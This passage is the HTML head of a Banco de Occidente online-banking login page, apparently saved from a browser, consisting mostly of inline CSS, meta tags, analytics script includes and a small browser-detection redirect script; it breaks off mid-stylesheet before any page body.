<html lang="en" class="hydrated"><head>
  <meta charset="utf-8"><style data-styles="">pzl-list-expenses,pzl-list-incomes,pzl-list-movements,pzl-select-product,pzl-budget-list,pzl-select-month,pzl-select-product-multiple,pzl-balance-chart,pzl-balance-chart-tc,pzl-category-item,pzl-movement-card-group,pzl-budget-summary,pzl-date-picker,pzl-table-movements,pzl-budgets-detail,pzl-modal,pzl-answer,pzl-switch,pzl-toast,pzl-tooltip,pzl-carrousel,pzl-category-icon,pzl-questions-form,pzl-tabs,mocks-components,pzl-balance-donut-chart,pzl-item-description,pzl-question,pzl-separator,pzl-tab-icon,pzl-tabs-icon,pzl-tbody,pzl-tfoot,pzl-thead,pzl-icon,pzl-budget-chart,pzl-progress-budget,pzl-budget-item,pzl-product-card-group,pzl-movement-card,pzl-picker-item,pzl-picker,pzl-acordeon,pzl-radio,pzl-table,pzl-currency,pzl-list-chart,pzl-summary-balance,pzl-balance-bar-chart,pzl-summary-balance-tc,pzl-tc-donut-chart,pzl-bar-chart,pzl-button,pzl-donut-chart,pzl-overlay,pzl-product-card,pzl-container,pzl-acordeon-item,pzl-card,pzl-checkbox,pzl-text,pzl-select,pzl-dropdown,pzl-option,pzl-input,pzl-category-progress-bar,pzl-item,pzl-item-content,pzl-list,pzl-progress-bar{visibility:hidden}.hydrated{visibility:inherit}</style>
  <title>Ingreso al Portal Transaccional |</title>

  <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
  <link rel="icon" type="image/x-icon" href="img/favicon.ico">




  <style type="text/css">
    #fondo{
        width: 100%;
        height: 100%;
        position: fixed;
        z-index: 189;
        top: 0;
        left: 0;
        background: #F3F6FE;
    }
    #cargando{
      position: fixed;
      z-index: 190;
        top: 50%;
        left: 50%;
        margin-left: -55px;
        margin-top: -55px;
    }
  </style>


  <style type="text/css">@font-face{font-family:'Poppins';font-style:normal;font-weight:400;src:url(https://fonts.gstatic.com/s/poppins/v19/pxiEyp8kv8JHgFVrFJM.woff) format('woff');}@font-face{font-family:'Poppins';font-style:normal;font-weight:400;src:url(https://fonts.gstatic.com/s/poppins/v19/pxiEyp8kv8JHgFVrJJbecnFHGPezSQ.woff2) format('woff2');unicode-range:U+0900-097F, U+1CD0-1CF6, U+1CF8-1CF9, U+200C-200D, U+20A8, U+20B9, U+25CC, U+A830-A839, U+A8E0-A8FB;}@font-face{font-family:'Poppins';font-style:normal;font-weight:400;src:url(https://fonts.gstatic.com/s/poppins/v19/pxiEyp8kv8JHgFVrJJnecnFHGPezSQ.woff2) format('woff2');unicode-range:U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;}@font-face{font-family:'Poppins';font-style:normal;font-weight:400;src:url(https://fonts.gstatic.com/s/poppins/v19/pxiEyp8kv8JHgFVrJJfecnFHGPc.woff2) format('woff2');unicode-range:U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;}</style>
  <style>.pop-inter-sny{z-index:1050;width:100%;height:100vh;margin:0;overflow-x:hidden;overflow-y:auto;position:fixed;background:rgba(0,53,133,.6);visibility:visible;opacity:1;top:0;right:0;bottom:0;left:0;outline:0;transition:opacity .5s linear}.cont-pop-inter-sny{position:fixed;width:450px;height:100vh;right:-450px;box-shadow:inset 0 -3em 3em rgb(0 42 105 / 90%),.3em .3em 1em rgb(0 42 105 / 90%);transition:opacity .5s linear}.cont-pop-inter-sny-move{right:0}.cont-body-pop-inter-sny{border-radius:0 0 0 5px;background:#fff;height:94vh}.cont-head-pop-inter-sny{width:100%;background:#fff;text-align:right;border-radius:5px 0 0 0;height:6vh}.cont-footer-pop-inter-sny{width:100%;background:#fff;text-align:right;border-radius:0 0 0 5px;height:4vh;display:none;text-align:center;vertical-align:middle;padding:1px 0;justify-content:flex-end}.hidden-pop-inter-sny{visibility:hidden;opacity:0;transition:visibility 0s,opacity .5s linear}.option-close-pop-inter-sny{padding:0 6px;cursor:pointer;font-size:1.5em;color:#212529}.tab-btn-ds-sny{width:120px;height:40px;margin:8px 12px 0 4px;border-radius:4px 4px 0 0;box-shadow:0 -4px 4px 0 rgb(0 36 111 / 20%);background-image:linear-gradient(to bottom,#0081ff,#0056cb);position:fixed;font-size:.81em;font-family:Poppins,sans-serif}.tab-btn-ds-sny img{position:relative;top:7px;vertical-align:baseline;width:20px}.tab-btn-ds-sny-r{margin:0;position:fixed;z-index:1049;right:-40px;cursor:pointer;top:45%;color:#f5f5f5;transform:rotate(-90deg);padding:4px 12px}.tab-btn-ds-sny:active{background:#0056cb}.btn-sny{cursor:pointer;height:39px;font-size:.8em;font-weight:700;font-family:Poppins,sans-serif;border-radius:4px;text-align:center;margin:0 5px;padding:10px 10px}.btn-sny-send-response{background:#006ee8;color:#fff}.btn-sny-cancel{background:#fff;color:#555f83;font-weight:600;border:solid 1px #adbae6}.btn-sny-cancel-desktop{position:fixed;bottom:7px;right:0;padding:10px 20px}.stl-svy-fr{width:100%;border:none;height:94vh;padding:0;border-radius:0 0 0 5px}#btnCancelarSVYmobile{top:0!important}@media (max-width:800px) and (min-width:450px){.tab-btn-ds-sny{transform:rotate(0);top:96%;right:0}}@media (max-width:449px) and (min-width:361px){.tab-btn-ds-sny{transform:rotate(0);top:95%;right:0}.cont-pop-inter-sny{width:100%}.btn-sny{margin:5px}.cont-body-pop-inter-sny,.stl-svy-fr{height:78vh;border-radius:5px 5px 0 0}.cont-footer-pop-inter-sny{height:20vh;display:block;border-radius:0}.cont-head-pop-inter-sny{background:#fff0}.option-close-pop-inter-sny{display:none}.cont-head-pop-inter-sny{height:2vh}.btn-sny-cancel-desktop{display:none}}@media (max-width:360px) and (min-width:0px){.tab-btn-ds-sny{transform:rotate(0);top:94%;right:0}.cont-pop-inter-sny{width:100%}.btn-sny{margin:5px}.cont-body-pop-inter-sny,.stl-svy-fr{height:78vh;border-radius:5px 5px 0 0}.cont-footer-pop-inter-sny{height:20vh;display:block;border-radius:0}.cont-head-pop-inter-sny{background:#fff0}.option-close-pop-inter-sny{display:none}.cont-head-pop-inter-sny{height:2vh}.btn-sny-cancel-desktop{display:none}}@media (max-height:600px) and (min-height:400px) and (max-width:449px) and (min-width:0px){.cont-body-pop-inter-sny,.stl-svy-fr{height:81vh}.cont-footer-pop-inter-sny{height:17vh}}@media (max-height:450px){.cont-body-pop-inter-sny,.stl-svy-fr{height:94vh}}@media (max-height:968px) and (min-height:880px){.btn-sny-cancel-desktop{bottom:6px}}@media (max-height:650px) and (min-height:601px) and (max-width:449px) and (min-width:0px){.cont-body-pop-inter-sny,.stl-svy-fr{height:81vh}.cont-footer-pop-inter-sny{height:17vh}}@media (max-height:800px) and (min-height:651px) and (max-width:449px) and (min-width:0px){.cont-body-pop-inter-sny,.stl-svy-fr{height:78vh}.cont-footer-pop-inter-sny{height:20vh}}.btn-sny,.tab-btn-ds-sny,::after,::before{box-sizing: border-box;} </style>

  <meta name="description" content="Nuestro renovado Portal para transacciones te permite hacer pagos de créditos o tarjetas de créditos, consultas, transferencias, descargar extractos y mucho más. ¡Navégalo!">
  <meta name="keywords" content=" portal transaccional banco de occidente, transacciones banco de occidente, anterior portal transaccional banco de occidente, pagar tarjeta de crédito banco de occidente, pagos banco de occidente, portal de pagos banco de occidente, pagar tarjeta de crédito banco de occidente, transferir a otras cuentas banco de occidente, descargar extracto banco de occidente">

  <script type="text/javascript" src="https://code.jquery.com/jquery-3.6.0.js"></script>

  <script type="text/javascript" async="" charset="utf-8" id="utag_8" src="https://c.oracleinfinity.io/acs/account/iw64uzydss/js/main/odc.js"></script><script src="https://tags.tiqcdn.com/utag/adl/occidente/prod/utag.js" type="text/javascript" async=""></script>
  <script src="https://tags.tiqcdn.com/utag/adl/occidente/prod/utag.sync.js"></script><style type="text/css" media="screen" id="mm_style_mm_cdApiStyleId_1">
  .mySlides {display:none;}

  .w3-content,.w3-auto{margin-left:auto;margin-right:auto}.w3-content{max-width:980px}.w3-auto{max-width:1140px}
  
  .w3-tooltip,.w3-display-container{position:relative}.w3-tooltip .w3-text{display:none}.w3-tooltip:hover .w3-text{display:inline-block}
  .w3-display-container:hover .w3-display-hover{display:block}.w3-display-container:hover span.w3-display-hover{display:inline-block}.w3-display-hover{display:none}
  
  .w3-badge,.w3-tag{background-color:#0081ff;color:#fff;display:inline-block;padding-left:8px;padding-right:8px;text-align:center}.w3-badge{border-radius:50%}
  .w3-badge {height:13px;width:13px;padding:0}
  
  .w3-left, .w3-right, .w3-badge {cursor:pointer}
  
  .w3-container:after,.w3-container:before,.w3-panel:after,.w3-panel:before,.w3-row:after,.w3-row:before,.w3-row-padding:after,.w3-row-padding:before,
  
  .w3-container,.w3-panel{padding:0.01em 16px}.w3-panel{margin-top:16px;margin-bottom:16px}

  .w3-section,.w3-code{margin-top:16px!important;margin-bottom:16px!important}
  
  .w3-tiny{font-size:10px!important}.w3-small{font-size:12px!important}.w3-medium{font-size:15px!important}.w3-large{font-size:18px!important}
  
  .w3-display-bottommiddle{position:absolute;left:50%;bottom:0;transform:translate(-50%,0%);-ms-transform:translate(-50%,0%)}
  
  .w3-border-0{border:0!important}.w3-border{border:1px solid #ccc!important}
  .w3-border-top{border-top:1px solid #ccc!important}.w3-border-bottom{border-bottom:1px solid #ccc!important}
  .w3-border-left{border-left:1px solid #ccc!important}.w3-border-right{border-right:1px solid #ccc!important}
  
  .w3-center {text-align: center!important;}
  
  .w3-transparent,.w3-hover-none:hover{background-color:#56b0ff!important}
  
  .w3-text-blue,.w3-hover-text-blue:hover{color:#0081FF!important}
  .w3-blue,.w3-hover-blue:hover{color:#fff!important;background-color:#0081FF!important}
  
  .w3-display-topprev{position:absolute;right:30px;top:0}
  .w3-display-topnext{position:absolute;right:0;top:0}
  
  .w3-display-topleft{position:absolute;left:0;top:0}.w3-display-topright{position:absolute;right:0;top:0}
  .w3-display-bottomleft{position:absolute;left:0;bottom:0}.w3-display-bottomright{position:absolute;right:0;bottom:0}
  .w3-display-middle{position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);-ms-transform:translate(-50%,-50%)}
  .w3-display-left{position:absolute;top:50%;left:0%;transform:translate(0%,-50%);-ms-transform:translate(-0%,-50%)}
  .w3-display-right{position:absolute;top:50%;right:0%;transform:translate(0%,-50%);-ms-transform:translate(0%,-50%)}
  .w3-display-topmiddle{position:absolute;left:50%;top:0;transform:translate(-50%,0%);-ms-transform:translate(-50%,0%)}
  .w3-display-bottommiddle{position:absolute;left:50%;bottom:0;transform:translate(-50%,0%);-ms-transform:translate(-50%,0%)}

  .w3-btn,.w3-button{border:none;display:inline-block;padding:8px 16px;vertical-align:middle;overflow:hidden;text-decoration:none;color:inherit;background-color:inherit;text-align:center;cursor:pointer;white-space:nowrap}
 
  .w3-btn,.w3-button{-webkit-touch-callout:none;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}   
  .w3-disabled,.w3-btn:disabled,.w3-button:disabled{cursor:not-allowed;opacity:0.3}.w3-disabled *,:disabled *{pointer-events:none}

  .w3-dropdown-hover:hover > .w3-button:first-child,.w3-dropdown-click:hover > .w3-button:first-child{background-color:#ccc;color:#000}

  .w3-bar .w3-button{white-space:normal}

  .w3-dropdown-hover.w3-mobile,.w3-dropdown-hover.w3-mobile .w3-btn,.w3-dropdown-hover.w3-mobile .w3-button,.w3-dropdown-click.w3-mobile,.w3-dropdown-click.w3-mobile 	   .w3-btn,.w3-dropdown-click.w3-mobile .w3-button{width:100%}}

  .w3-button:hover{color:#000!important;background-color:#ccc!important}

  .big-badge { width: 30px; border-radius: 25px;}
  

  h3.maxymiser-modal-seg {
    font-size: 16px;
  }
</style><script type="text/javascript" id="mmpack.0" src="https://service.maxymiser.net/platform/us/api/mmpackage-1.26.js"></script>

  <script>
    // window.location.href = '/maintenance.html';
    function getBrowserData() {
      const ua = navigator.userAgent;
      let tem, M = ua.match(/(opera|chrome|safari|firefox|msie|trident(?=\/))\/?\s*(\d+)/i) || [];
      if (/trident/i.test(M[1])) {
        tem = /\brv[ :]+(\d+)/g.exec(ua) || [];
        return {name: 'IE', version: (tem[1] || '')};
      }
      if (M[1] === 'Chrome') {
        tem = ua.match(/\bOPR|Edge|Edg\/(\d+)/);
        if (tem) {
          const br = tem[0].indexOf('Edge') === 0 || tem[0].indexOf('Edg') === 0 ? 'Edge' : 'Opera';
          return {name: br, version: tem[1]};
        }
      }
      M = M[2] ? [M[1], M[2]] : [navigator.appName, navigator.appVersion, '-?'];
      if ((tem = ua.match(/version\/(\d+)/i)) !== null) {
        M.splice(1, 1, tem[1]);
      }
      return {
        name: M[0],
        version: M[1]
      };
    }

    if(getBrowserData().name === 'IE') {
      window.location.href = '/unsupported.html';
    }
  </script>

  <style type="text/css">

    #mensaje{
      box-shadow: 1px 2px 4px #0061d85c;
      text-align: center;
      position: fixed;
      background-color: #ffffff;      
      background-position: top left;
      width: calc(94% - 60px);
      max-width: 400px;
      height: auto;
      top: 50%;
      left: 50%;
      transform: translate(-50%,-50%);
      z-index: 200; 
      padding: 30px;
      border-radius: 10px; 
      display:none ;
    }

    body, html {
      height: 100%;
      font-size: 14px;
    }
    .app-loading {
      position: relative;
      display: flex;
      flex-direction: column;
      align-items: center;
      justify-content: center;
      height: 100%;
    }
    .app-loading .spinner {
      height: 200px;
      width: 200px;
      animation: rotate 2s linear infinite;
      transform-origin: center center;
      position: absolute;
      top: 0;
      bottom: 0;
      left: 0;
      right: 0;
      margin: auto;
    }
    .app-loading .spinner .path {
      stroke-dasharray: 1, 200;
      stroke-dashoffset: 0;
      animation: dash 1.5s ease-in-out infinite;
      stroke-linecap: round;
      stroke: rgba(0, 127, 255, 0.25);
    }
    @keyframes rotate {
      100% {
        transform: rotate(360deg);
      }
    }
    @keyframes dash {
      0% {
        stroke-dasharray: 1, 200;
        stroke-dashoffset: 0;
      }
      50% {
        stroke-dasharray: 89, 200;
        stroke-dashoffset: -35px;
      }
      100% {
        stroke-dasharray: 89, 200;
        stroke-dashoffset: -124px;
      }
    }
  </style>



<link rel="stylesheet" href="css/pbocc_styles.e56486bc90589bbcbc40.css"><style></style><style>.login__options{display:flex;justify-content:space-between;align-items:center}.login__options a{color:var(--vds-primary-700-base)!important;float:right;font-style:normal;font-stretch:normal;cursor:pointer}.login__options a:hover{color:var(--vds-primary-700-base)}.login__options .custom-switch{left:-46px}.login__options .custom-switch .custom-control-input:checked~.custom-control-label:after{transform:translateX(20px)!important}.login__options .custom-switch .custom-control-label:after{left:calc(3px + 0px)!important;top:calc(0px + 0px)!important;width:calc(20px - 0px)!important;height:calc(20px - 0px)!important;border-radius:10px!important;background-color:var(--vds-n-lighter-200)!important;cursor:pointer}.login__options .custom-control-label:before{height:26px!important;width:46px!important;border-radius:13px!important;left:0!important;top:-3px!important;border:1px solid var(--vds-n-lighter-200)!important;cursor:pointer}.login__options .custom-control-input:checked~.custom-control-label:after{background-color:var(--vds-primary-700-base)!important}.login__options .custom-control-input:checked~.custom-control-label:before{background-color:var(--vds-neutral-lighter-50)!important}.login__options .custom-label{position:absolute!important;left:-114px!important}.browser-support#browser-support-modal .bocc-modal-body{width:401px}.browser-support#browser-support-modal .bocc-modal-body .bocc-modal-header{border-bottom:none}.browser-support#browser-support-modal .bocc-modal-body .bocc-modal-header h2{width:100%}.browser-support#browser-support-modal .bocc-modal-body .bocc-modal-header .close{right:5px;top:0}.browser-support#browser-support-modal .bocc-modal-body .bocc-modal-content{text-align:center;color:var(--vds-carbon-light-700)}.browser-support#browser-support-modal .bocc-modal-body .bocc-modal-content .login-footer_browsers-info{display:flex;justify-content:center}.browser-support#browser-support-modal .bocc-modal-body .bocc-modal-footer{border-top:none}.browser-support#error-modal{text-align:center;color:var(--vds-carbon-light-700)}@media (min-width:768px){.browser-support#error-modal .bocc-modal .bocc-modal-body{width:454px;margin:10% auto}.browser-support#error-modal .bocc-modal .bocc-modal-body .bocc-modal-content{padding:25px}}.browser-support#error-modal h1{font-size:2em;font-weight:700;font-style:normal;font-stretch:normal;line-height:1.11;letter-spacing:normal;text-align:center;color:var(--vds-primary-shade-900)}.browser-support#error-modal ol.list-tips{text-align:left;font-weight:400;list-style:none;counter-reset:li;-webkit-padding-start:0;padding-inline-start:0}.browser-support#error-modal ol.list-tips hr.line{color:var(--vds-carbon-light-700);line-height:1em}.browser-support#error-modal ol.list-tips li{counter-increment:li;padding-bottom:10px;padding-top:10px;position:relative}.browser-support#error-modal ol.list-tips li:before{font-weight:700;content:counter(li) ". ";color:var(--vds-primary-shade-900);display:contents;width:1em;margin-right:1em}.browser-support#error-modal ol.list-tips li:after{content:"..........................................................................................................................................................................................................................................................................................................................................................................................................................................";position:absolute;letter-spacing:4px;bottom:-2px;overflow:hidden;right:0;left:0;height:1em;line-height:1}.browser-support#error-modal .callNumber{display:flex}.browser-support#error-modal .callNumber .label{padding-right:10px;margin-right:10px;border-right:1px solid var(--vds-n-lighter-200);flex:0.5;text-align:left;line-height:1}.browser-support#error-modal .callNumber .label small{font-size:.85em}.browser-support#error-modal .callNumber .number{flex:1;line-height:2.5em;color:var(--vds-primary-shade-900);font-weight:700;letter-spacing:normal;text-align:left}.browser-support#error-modal .bocc-button{display:flex;justify-content:center}@media (min-width:768px){.browser-support#error-modal .callNumber{padding:0;display:inline-flex}.browser-support#error-modal .callNumber .label{flex:0.4;font-size:.85em;padding:3% 9px 0 0}.browser-support#error-modal .callNumber:last-of-type{padding-left:20px}}.browser-support#modal-2fa .verification-info{font-size:1em;color:var(--vds-carbon-light-700)}.browser-support#modal-2fa .verification-info h4{font-weight:700;font-style:normal;font-stretch:normal;line-height:1.43;letter-spacing:normal;color:var(--vds-primary-shade-900)}.browser-support#modal-2fa .verification-info .verification-code{text-align:center}.browser-support#modal-2fa .verification-info .verification-code .code{font-size:2em;font-weight:900;font-style:normal;font-stretch:normal;letter-spacing:12px;color:var(--vds-primary-shade-900);margin-bottom:30px}.browser-support#modal-2fa .verification-info .verification-actions{text-align:center;display:flex;flex-direction:column;align-items:center}.browser-support#modal-2fa .verification-info .verification-actions a{margin-bottom:20px}@media (min-width:992px){.login__options{flex-direction:row}.login__options .form-check-inline{width:50%}.browser-support#modal-2fa .bocc-modal.modal-2fa .bocc-modal-body{width:465px!important}}</style><style>[_nghost-ymu-c72]     .initial-container{background:no-repeat url(back-login.87ca483d1db8c1bdeaf4.jpg);background-size:cover!important;position:relative;z-index:101;height:100%;display:flex;min-height:47rem}[_nghost-ymu-c72]     .initial-container:before{content:"";right:0;left:0;bottom:0;top:0;position:absolute;z-index:-1;background-image:linear-gradient(180deg,transparent 40%,#fff 90%)}[_nghost-ymu-c72]     .initial-container__marketing{width:100%;display:flex;align-items:flex-end;justify-content:flex-start;height:100%;position:absolute;margin:0}[_nghost-ymu-c72]     .initial-container__marketing-group{position:absolute;transform:translateY(-50%);left:-1rem;top:41%;width:15rem;z-index:-1}[_nghost-ymu-c72]     .initial-container__marketing-text{display:none;margin:0 0 4rem 6rem;max-width:35rem;width:100%;letter-spacing:normal;font-stretch:normal;font-style:normal;color:var(--vds-primary-shade-900)}[_nghost-ymu-c72]     .initial-container__marketing-text h1{font-size:4.5rem;font-weight:700;line-height:1;font-family:Poppins,serif}[_nghost-ymu-c72]     .initial-container__marketing-text h2{font-size:2.5rem;font-weight:300;font-family:Poppins,serif;line-height:1.15;max-width:21rem}[_nghost-ymu-c72]     .initial-container__marketing-text h4{border-bottom:.188rem solid var(--vds-primary-700-base);width:-webkit-fit-content;width:-moz-fit-content;width:fit-content;position:relative}[_nghost-ymu-c72]     .initial-container__marketing-text h4 span{font-weight:700}[_nghost-ymu-c72]     .initial-container__marketing-text h4:after{content:"";width:0;height:0;position:absolute;left:-1.429rem;top:.214rem;border-left:.571rem solid var(--vds-primary-700-base);border-top:.429rem solid transparent;border-bottom:.429rem solid transparent}[_nghost-ymu-c72]     .initial-container__footer{position:absolute;bottom:0;display:flex;justify-content:space-between;align-items:flex-end;z-index:-1;width:100%;padding:1rem 1rem 1rem .214rem}[_nghost-ymu-c72]     .initial-container__footer .logo-aval img{height:24px}[_nghost-ymu-c72]     .initial-container__form{display:flex;height:100%;flex-direction:column;justify-content:center;margin-right:0;align-items:center;width:100%;position:relative;z-index:1}[_nghost-ymu-c72]     .initial-container__section{background-color:var(--vds-neutral-lighter-50);box-shadow:0 0 .429rem 0 rgba(51,51,51,.2);display:flex;flex-direction:column;justify-content:center;align-items:center;min-height:47rem;max-height:100%;height:100%;min-width:100%;width:100%;border-radius:0}[_nghost-ymu-c72]     .initial-container__content-security-info{display:flex;width:100%;justify-content:flex-end}[_nghost-ymu-c72]     .initial-container__security-info{border-radius:1.429rem;box-shadow:0 .071rem .286rem 0 rgba(0,0,0,.1);border:.071rem solid var(--vds-n-lighter-200);display:flex;align-items:center;justify-content:space-between}[_nghost-ymu-c72]     .initial-container__security-info a{align-items:center;display:flex;width:100%}[_nghost-ymu-c72]     .initial-container__security-info span{color:var(--vds-carbon-light-700)}[_nghost-ymu-c72]     .initial-container__security-info__icon{border-radius:50%;display:flex;align-items:center;justify-content:center}[_nghost-ymu-c72]     .initial-container__security-info__icon em{font-size:16px;color:var(--vds-success-700-base)}[_nghost-ymu-c72]     .initial-container__content-form{height:100%;display:flex;flex-direction:column;justify-content:center;width:100%;max-width:26.5rem;padding:0 8px}[_nghost-ymu-c72]     .initial-container__text{color:var(--vds-carbon-light-700);font-size:1rem;font-weight:500;font-stretch:normal;font-style:normal;line-height:1.14;text-align:center}[_nghost-ymu-c72]     .initial-container__label{color:var(--vds-carbon-light-700);margin-bottom:.214rem}[_nghost-ymu-c72]     .initial-container__tab-content{height:85%;max-height:35rem}[_nghost-ymu-c72]     .initial-container__tab-content h2{color:var(--vds-carbon-dark-1000)}[_nghost-ymu-c72]     .initial-container__tab-content p{color:var(--vds-carbon-light-700)}[_nghost-ymu-c72]     .initial-container__tab-content form{display:flex;flex-direction:column;justify-content:space-around;max-height:30rem;position:relative;z-index:100}[_nghost-ymu-c72]     .initial-container__tab-content form input{width:auto}[_nghost-ymu-c72]     .initial-container__tab-content form input:not([type=checkbox]){width:100%}[_nghost-ymu-c72]     .initial-container__tab-content form .form-group{min-height:2.143rem}[_nghost-ymu-c72]     .initial-container__tab-content form .alert{top:.714rem}[_nghost-ymu-c72]     .initial-container__tab-content form .password>div{position:relative}[_nghost-ymu-c72]     .initial-container__tab-content form .password>div label{color:var(--vds-n-lighter-200);cursor:pointer;bottom:0;height:2.143rem;left:auto;margin:auto;position:absolute;right:.714rem;top:.071rem;width:1.429rem}[_nghost-ymu-c72]     .initial-container__tab-content form .password>div label.caps{color:var(--vds-primary-700-base);right:2.5rem}[_nghost-ymu-c72]     .initial-container__tab-content form label{color:var(--vds-carbon-light-700)}[_nghost-ymu-c72]     .initial-container__tab-content form button{margin-right:.571rem}[_nghost-ymu-c72]     .initial-container__tab-content form button:last-of-type{margin-right:0}[_nghost-ymu-c72]     .initial-container__tab-content.shake{-webkit-animation:shake .82s cubic-bezier(.36,.07,.19,.97) both;animation:shake .82s cubic-bezier(.36,.07,.19,.97) both;transform:translateZ(0);-webkit-backface-visibility:hidden;backface-visibility:hidden;perspective:71.429rem}[_nghost-ymu-c72]     .initial-container__info-content{display:flex;flex-direction:column;align-items:center;justify-content:center}[_nghost-ymu-c72]     .initial-container__actions-content{align-items:flex-end;display:flex;justify-content:center}[_nghost-ymu-c72]     .initial-container__logo{width:100%;background-image:url(img/logo-03-occidente-01-occidente-01-regular.aa547ca6b936469689ea.svg);background-size:auto 2.857rem;height:10%;background-position:top;background-repeat:no-repeat;min-height:4rem}[_nghost-ymu-c72]     .initial-container__form-footer{font-size:.85em;width:100%;text-align:center;border-top:.071rem solid var(--vds-n-lighter-200);display:flex;flex-direction:column;align-items:center;border-radius:0 0 .714rem .714rem}[_nghost-ymu-c72]     .initial-container__form-footer .close-content{display:flex;justify-content:flex-end;width:100%}[_nghost-ymu-c72]     .initial-container__form-footer .close-content img{width:1.8rem;height:1.8rem;position:relative;left:0;cursor:pointer;color:var(--vds-carbon-light-900)}[_nghost-ymu-c72]     .initial-container__form-footer .text-content{display:flex;justify-content:center}[_nghost-ymu-c72]     .initial-container__form-footer .text-content p{max-width:27.929rem;color:var(--vds-carbon-light-700)}[_nghost-ymu-c72]     .initial-container__form-footer .icons-container{display:flex;max-width:27.929rem;width:100%;justify-content:space-around}[_nghost-ymu-c72]     .initial-container__form-footer .icons-container .browser-info{display:flex;align-items:center}[_nghost-ymu-c72]     .initial-container__form-footer .icons-container .browser-info img{width:1.429rem}[_nghost-ymu-c72]     .initial-container__form-footer .icons-container .browser-info .browser-text-info{display:flex;flex-direction:column}[_nghost-ymu-c72]     .initial-container__form-footer .icons-container .browser-info .browser-text-info .browser-name{display:none;color:var(--vds-carbon-light-700);line-height:normal}[_nghost-ymu-c72]     .initial-container__form-footer .icons-container .browser-info .browser-text-info .browser-v{color:var(--vds-carbon-light-700);line-height:normal}[_nghost-ymu-c72]     .initial-container__form-footer .icons-container .browser-info.chrome:before{content:none}[_nghost-ymu-c72]     .initial-container__cookies-alert-content{transition:transform 2s;top:-9rem;position:fixed;z-index:200;display:flex;justify-content:center;width:100%}[_nghost-ymu-c72]     .initial-container__cookies-alert-content--show{transform:translateY(9rem)}[_nghost-ymu-c72]     .initial-container__cookies-alert{position:relative;color:var(--vds-neutral-lighter-50);right:0;z-index:20;margin:0;background-color:var(--vds-primary-shade-900);font-stretch:normal;font-style:normal;left:0;padding-bottom:3.571rem;padding-right:8px;width:100%;border-radius:0 0 .5rem .5rem}[_nghost-ymu-c72]     .initial-container__cookies-alert>span{font-weight:700}[_nghost-ymu-c72]     .initial-container__cookies-alert .bocc-button{height:1.857rem;left:auto;margin:auto;position:absolute;bottom:8px;right:8px;top:auto}[_nghost-ymu-c72]     .initial-container__cookies-alert .bocc-button button{background-image:none;background-color:transparent;border:1px solid var(--vds-neutral-lighter-50);border-radius:.286rem;font-size:.85em;height:1.857rem;padding:0 .714rem;min-width:5rem}[_nghost-ymu-c72]     .initial-container__cookies-alert .bocc-button button:hover{box-shadow:none;background:var(--vds-primary-shade-700-base)}[_nghost-ymu-c72]     .initial-container__loading{width:18.857rem;height:7.357rem;border-radius:.286rem;box-shadow:0 .357rem .571rem 0 rgba(0,0,0,.1);border:.071rem solid var(--vds-n-lighter-200);background-color:var(--vds-neutral-lighter-50);position:absolute;top:0;bottom:0;right:0;left:0;margin:auto;padding:1.071rem;display:flex;flex-direction:column;text-align:center;z-index:101}[_nghost-ymu-c72]     .initial-container__loading__spinner{position:absolute;width:6.071rem;height:6.071rem;border-radius:.286rem;top:-3.571rem;right:0;left:0;margin:auto}[_nghost-ymu-c72]     .initial-container__loading h2{margin-top:1.571rem!important}[_nghost-ymu-c72]     .initial-container__loading p{color:var(--vds-carbon-light-700)}[_nghost-ymu-c72]     .initial-container__numbers{color:var(--vds-carbon-light-700)}@media (min-width:1442px){[_nghost-ymu-c72]     .initial-container__marketing-text{max-width:43rem}[_nghost-ymu-c72]     .initial-container__form{width:auto!important}[_nghost-ymu-c72]     .initial-container__section{min-width:38.357rem!important}[_nghost-ymu-c72]     .initial-container__cookies-alert-content{width:58%!important}}@media (min-width:992px){[_nghost-ymu-c72]     .initial-container__footer{z-index:1;padding:0;padding-left:0!important}[_nghost-ymu-c72]     .initial-container__marketing{margin:0 2rem 0 1rem;position:relative}[_nghost-ymu-c72]     .initial-container__marketing-text{display:initial}[_nghost-ymu-c72]     .initial-container__form{align-items:flex-end;margin-right:8px;width:50%}[_nghost-ymu-c72]     .initial-container__section{height:98%!important;width:100%!important}[_nghost-ymu-c72]     .initial-container__cookies-alert-content{display:initial;width:47%}[_nghost-ymu-c72]     .initial-container__cookies-alert{left:1.786rem;width:100%!important}}@media (max-width: 575px) {[_nghost-ymu-c72]     .initial-container {background: #F3F6FE !important;min-height: 100vh;}[_nghost-ymu-c72]     .initial-container__form {align-items: center;width: 100%;justify-content: center;}[_nghost-ymu-c72]     .initial-container__section {width: 100% !important;min-width: 100%;height: 100vh !important;border-radius: 0;box-shadow: none;}[_nghost-ymu-c72]     .initial-container__content-form {padding: 20px;max-width: 100%;}[_nghost-ymu-c72]     .initial-container__marketing {display: none;}[_nghost-ymu-c72]     .initial-container__footer {display: none;}[_nghost-ymu-c72]     .initial-container__content-security-info {display: none;}[_nghost-ymu-c72]     .initial-container__logo {min-height: 6rem;background-size: auto 4rem;display: block !important;width: 100%;height: 6rem;}[_nghost-ymu-c72]     .initial-container__tab-content {height: auto;max-height: none;}[_nghost-ymu-c72]     .initial-container__tab-content form {max-height: none;justify-content: flex-start;gap: 1rem;}[_nghost-ymu-c72]     #document-number {width: 280px !important;}}@media (min-width:576px){[_nghost-ymu-c72]     .initial-container__content-form{padding:0}[_nghost-ymu-c72]     .initial-container__footer{padding-left:1rem}[_nghost-ymu-c72]     .initial-container__section{border-radius:.714rem;max-height:68.214rem;min-width:35rem;max-width:38.357rem;height:80%;width:80%}[_nghost-ymu-c72]     .initial-container__form-footer .browser-name{display:initial!important}[_nghost-ymu-c72]     .initial-container__cookies-alert-content{top:-4.571rem}[_nghost-ymu-c72]     .initial-container__cookies-alert-content--show{transform:translateY(5.357rem)}[_nghost-ymu-c72]     .initial-container__cookies-alert{padding-right:6.571rem;padding-bottom:8px;width:80%;border-radius:.429rem}[_nghost-ymu-c72]     .initial-container__cookies-alert .bocc-button{bottom:0;right:.857rem;top:0}}@media (max-height:56.214rem){[_nghost-ymu-c72]     